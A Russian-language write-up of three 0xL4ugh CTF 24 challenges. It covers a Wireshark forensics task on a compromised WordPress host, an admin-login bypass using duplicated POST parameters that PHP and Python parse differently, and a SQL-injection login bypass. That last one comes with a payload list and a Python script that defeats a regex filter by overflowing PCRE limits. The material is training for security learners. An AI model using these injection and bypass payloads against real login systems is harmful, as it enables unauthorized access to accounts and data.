Можно ли взломать хакера? Распутываем кибератаки с CTF-турнира
Делимся решением задач с турнира 0xL4ugh CTF 24. Пригодится как новичкам, так и опытным специалистам.
Продолжаем путешествовать по CTF-турнирам. Из последних — 0xL4ugh CTF 24 от одноименной команды из Египта. В статье расскажем, как наш коллега, специалист по информационной безопасности, решил задачи из категории DFIR (Digital Forensics and Incident Response) и web.
Дисклеймер: материал не обучает хакингу и не призывает к противозаконным действиям. Все описанное ниже лишь демонстрирует, какие пробелы в безопасности встречаются в реальных веб-приложениях. И предупреждает, на что нужно обратить внимание при разработке программного обеспечения.
Подробнее о турнире
В этом году команда 0xL4ugh анонсировала турнир:
«Мы постарались сделать турнир 0xL4ugh CTF 24 (третью версию) максимально сложным, полезным и забавным. Большинство задач в этом году основаны на реальных случаях и исследованиях. Оставайтесь на связи».
В течение суток участникам нужно было решить 36 задач из категории web, DFIR, reverse, crypto, pwn, misc и osint. Как обычно, информация о мероприятии была на CTFtime. Советуем отслеживать анонсы мероприятия там, если хотите быть в курсе популярных CTF-турниров.
Категория DFIR
Задача: WordPress 1
Условие
На сайте WordPress произошел сбой в системе безопасности, и точный способ взлома на данный момент не определен. Нам нужна ваша помощь, чтобы выяснить, что же произошло на самом деле.
- Два злоумышленника пытались скомпрометировать нашу среду. Какие IP-адреса были у жертвы и первого злоумышленника?
- Какие были версии у серверов Apache и PHP, установленных в нашей среде?
Дано
- Flag Format 0xL4ugh{A1_A2}
- Example: 0xL4ugh{IP1_IP2_apache1.2.3_php1.2.3}(no spaces)
- Архив с файлами
Решение
Чтобы собрать флаг в этой задаче, нужно ответить на два вопроса. Приступим!
Шаг 1
Открываем в Wireshark приложенный к заданию файл. По логике сначала идет разведка (сканирование), поэтому предполагаем, что первый атакующий — это инициатор сканов.
Переходим из Статистики в HTTP, затем — в Последовательность запросов.
Видим несколько запросов к 192.168.204.128. Название явно указывает, что там находится WordPress.
Шаг 2
Теперь переходим в общий файл и начинаем его фильтровать:
ip.dst == 192.168.204.128 and http contains "GET"
Трафики от 192.168.204.1 и 192.168.204.132 похожи на индикатор скана. Смотрим информацию у последнего IP-адреса и видим, что User-Agent содержит WPScan v3.8.25 и sqlmap 1.7.12#stable%:
Очевидно, IP-адрес 192.168.204.132 сканировал жертву с помощью этих утилит.
Шаг 3
Далее меняем предыдущий фильтр на следующий адрес:
ip.src == 192.168.204.128 and ip.dst == 192.168.204.132
В ответе видим php_8.2.12 и Apache_2.4.58.
Готово — задача решена, забираем флаг!
0xL4ugh{192.168.204.128_192.168.204.132_apache2.4.58_php8.2.12}
Категория web
Задача: Micro
Условие
Помните Bruh 1,2? Это bruh 3
Войдите под логином admin:admin, и вы получите флаг :*
Дано
Решение
Шаг 1
У нас есть доступ на страницу с формой авторизации и исходники приложения:
Переходим к исходникам. Нас интересуют три файла из архива: init.db, index.php и app.py. Рассмотрим каждый подробнее.
Внутри файла init.db находится такой блок кода:
CREATE TABLE IF NOT EXISTS `users` (
`id` varchar(50) NOT NULL,
`username` varchar(20) NOT NULL,
`password` varchar(50) NOT NULL
) ENGINE=InnoDB DEFAULT CHARSET=latin1 AUTO_INCREMENT=66 ;
Из кода видно, что при запуске приложения создается таблица с тремя столбцами (ID, username и password), а затем выполняется INSERT-запрос к базе данных.
insert into users(id,username,password) values('1','admin','21232f297a57a5a743894a0e4a801fc3');
В таблицу добавляется одна запись, а в столбец password — md5-hash с admin.
Шаг 2
Внутри файла index.php — данные по обработке POST-запроса сервером.
if(isset($_POST['login-submit']))
{
if(!empty($_POST['username'])&&!empty($_POST['password']))
{
$username=$_POST['username'];
$password=md5($_POST['password']);
if(Check_Admin($username) && $_SERVER['REMOTE_ADDR']!=="127.0.0.1")
{
die("Admin Login allowed from localhost only : )");
}
else
{
send_to_api(file_get_contents("php://input"));
}
}
else
{
echo "<script>alert('Please Fill All Fields')</script>";
}
}
Код выше проверяет, чтобы поля username и password не были пустыми. После полученные данные записываются в соответствующие переменные, а username отдается на проверку в функцию Check_Admin.
function Check_Admin($input)
{
$input=iconv('UTF-8', 'US-ASCII//TRANSLIT', $input); // Just to Normalize the string to UTF-8
if(preg_match("/admin/i",$input))
{
return true;
}
else
{
return false;
}
}
Check_Admin ответит значением true, если в поле username содержится admin. В противном случае — вернет false. Если функция Check_Admin ответит true и $_SERVER[‘REMOTE_ADDR’] не будет равен 127.0.0.1, то приложение вернет сообщение «Admin Login allowed from localhost only : )». В противном случае — отправит данные на порт 5 000, в котором находится API для запроса в базу данных через скрипт app.py.
Шаг 3
Перейдем к файлу app.py. В нем приложение никак не обрабатывает данные из username, но подсчитывает хэш из password:
password = hashlib.md5(request.form.get('password').encode()).hexdigest()
Данные отправляются на проверку в функцию authenticate_user():
def authenticate_user(username, password):
try:
conn = mysql.connector.connect(
host=mysql_host,
user=mysql_user,
password=mysql_password,
database=mysql_db
)
cursor = conn.cursor()
query = "SELECT * FROM users WHERE username = %s AND password = %s"
cursor.execute(query, (username, password))
result = cursor.fetchone()
cursor.close()
conn.close()
return result
except mysql.connector.Error as error:
print("Error while connecting to MySQL", error)
return None
По логике приложения можно сделать вывод, что если, как указано в задании, передать в форму username=admin и password=admin, то preg_match в index.php вернет значение true. Следовательно, если запроса к базе данных не будет, то мы не получим флаг.
Если обратиться к $_SERVER[‘REMOTE_ADDR’] с сервера, в котором находится приложение, он будет равен 127.0.0.1. PHP вытащит эти данные из сетевого стека, поэтому передача заголовка HTTP ‘REMOTE_ADDR: 127.0.0.1 не подойдет.
Кроме того, условие if(Check_Admin($username) && $_SERVER[‘REMOTE_ADDR’]!==»127.0.0.1″) можно обойти, если функция Check_Admin ответит false. Тогда данные уйдут на обработку в app.py.
Если не ввести admin в username, то запрос к базе данных не выдаст оттуда запись. Для этого нужно одним запросом передать username с двумя условиями:
- Username не должен содержать admin, чтобы обойти фильтр функцией preg_match php.
- Username должен содержать admin, чтобы python забрал его в SQL-запрос.
Задача кажется противоречивой, но ответ заключается в том, как PHP и Python принимают данные из POST-запроса. Если передать несколько одинаковых параметров в теле HTTP, то Python возьмет значения из первого параметра, а PHP — из последнего.
Шаг 4
Добавляем к index.php вывод параметра username в POST-запросах, чтобы проверить наше предположение. Далее собираем и запускаем новый Docker image.
if(isset($_POST['login-submit']))
{
if(!empty($_POST['username'])&&!empty($_POST['password']))
{
$username=$_POST['username'];
$password=md5($_POST['password']);
echo "<script>alert($username)</script>";
if(Check_Admin($username))
{
send_to_api(file_get_contents("php://input"));
}
}
else
{
echo "<script>alert('Please Fill All Fields')</script>";
}
}
sudo docker build Micro_togive --tag "micro_test"
sudo docker run micro_test
Теперь передаем в форму значения ниже и получаем следующий результат:
По такому принципу в POST-запрос можно отдать и больше параметров. Результат, как видно ниже, не изменится.
Чтобы обойти фильтр preg_match php, в последнем значении username отдаем строку, не содержащую admin. А чтобы удовлетворить SQL-запрос в app.py, указываем первым параметром именно admin. Далее передаем значения в оригинальное тестовое приложение, запущенное в Docker.
Шаг 5
Получаем тестовый флаг, теперь нужно передать его в боевое приложение.
username=admin&username=anydata1&username=anydata2&password=admin&login-submit=
Задача решена — флаг у нас!
Задача: Simple WAF
Задание
Я внес в белый список входные значения, так что, думаю, я в безопасности.
Дано
Решение
Шаг 1
По ссылке — форма из предыдущего задания:
Переходим к файлам из предыдущего архива. В init.db нам снова предлагают создать таблицу с тремя столбцами и добавить запись об администраторе:
CREATE TABLE IF NOT EXISTS `users` (
`id` varchar(50) NOT NULL,
`username` varchar(20) NOT NULL,
`password` varchar(50) NOT NULL
) ENGINE=InnoDB DEFAULT CHARSET=latin1 AUTO_INCREMENT=66 ;
insert into users(id,username,password) values('1','admin','c0b12ccad044e2e525cf818077413c4c');
На этот раз пароль — не admin. Хеш md5 к нему не подходит.
Шаг 2
В файле index.php есть ряд условий:
if(isset($_POST['login-submit']))
{
if(!empty($_POST['username'])&&!empty($_POST['password']))
{
$username=$_POST['username'];
$password=md5($_POST['password']);
if(waf($username))
{
die("WAF Block");
}
else
{
$res = $conn->query("select * from users where username='$username' and password='$password'");
if($res->num_rows ===1)
{
echo "0xL4ugh{Fake_Flag}";
}
else
{
echo "<script>alert('Wrong Creds')</script>";
}
}
}
else
{
echo "<script>alert('Please Fill All Fields')</script>";
}
}
Если username и password в отправленном POST-запросе не пустые, то идет проверка в функции waf:
function waf($input)
{
if(preg_match("/([^a-z])+/s",$input))
{
return true;
}
else
{
return false;
}
}
Дальнейшая обработка запроса происходит только в том случае, если проверка в waf не была пройдена. После этого она выполняет такой запрос к базе данных:
select * from users where username='$username' and password='$password'
Шаг 3
Если в результате запроса к БД количество строк равняются единице, то мы получим флаг. Для этого необходимо выполнить два условия.
- Данные в username не должны попадать под шаблон:
preg_match("/([^a-z])+/s",$input)
- Запрос к БД должен вернуть только одну строку:
if($res->num_rows ===1)
{
echo "0xL4ugh{Fake_Flag}";
}
Поскольку в базе данных находится одна строка, то обход авторизацию должен сработать независимо от переданных значений username, password.
‘ or 1=1;#
‘ or 1=1;-- -
‘ or true;#
‘ or true;-- -
Добавляем условие, чтобы обойти авторизацию.
Данные в username не должны попадать под шаблон preg_match(«/([^a-z])+/s»,$input). В нем есть проверка на наличие букв. Если она возвращает true, то запрос до базы данных не доходит. Поэтому стоит учитывать этот фильтр и не допускать появления букв в username.
Прикладываем пример альтернативного обхода авторизации:
В итоговой SQL-инъекции меняем запись «or 1=1— -» на «|| 1=1— -».
Шаг 4
Теперь необходимо решить, как обойти preg_match. По ссылке можно найти информацию о функции и ее ошибках.
По сути, preg_match, являясь PCRE-функцией, рекурсивно проверяет переданную строку по шаблону и имеет предел входных значений. Информацию о лимитах функции нашел в руководстве по PHP. При превышении этого значения waf вернет false, что нам и требуется.
Собираем POST-запрос в Python и передаем его в тестовое приложение, запущенное в Docker. Собираем образ Docker и запускаем контейнер.
$ sudo docker build simple_waf_togive --tag "waf"
$ sudo docker run waf
Пишем скрипт test_waf.py, запускаем и получаем страницу с тестовым флагом:
import requests
address = 'http://172.17.0.2/'
username = '1'*10001 + "' || 1=1-- -"
password = 'any'
data = {'username':username, 'password':password, 'login-submit':''}
print(requests.post(address,data).text)
Интересное наблюдение. Если в строке 10 001 символ, функция возвращает false. Возможно, это значение может быть еще ниже — его можно определить параметром pcre.recursion_limit в php.ini.
Супер — теперь с помощью скрипта можно обратиться к основному приложению и получить долгожданный флаг!
Интересные материалы по CTF
Если хотите ознакомиться с другими задачами CTF-турниров, рекомендуем почитать предыдущие статьи на эту тему.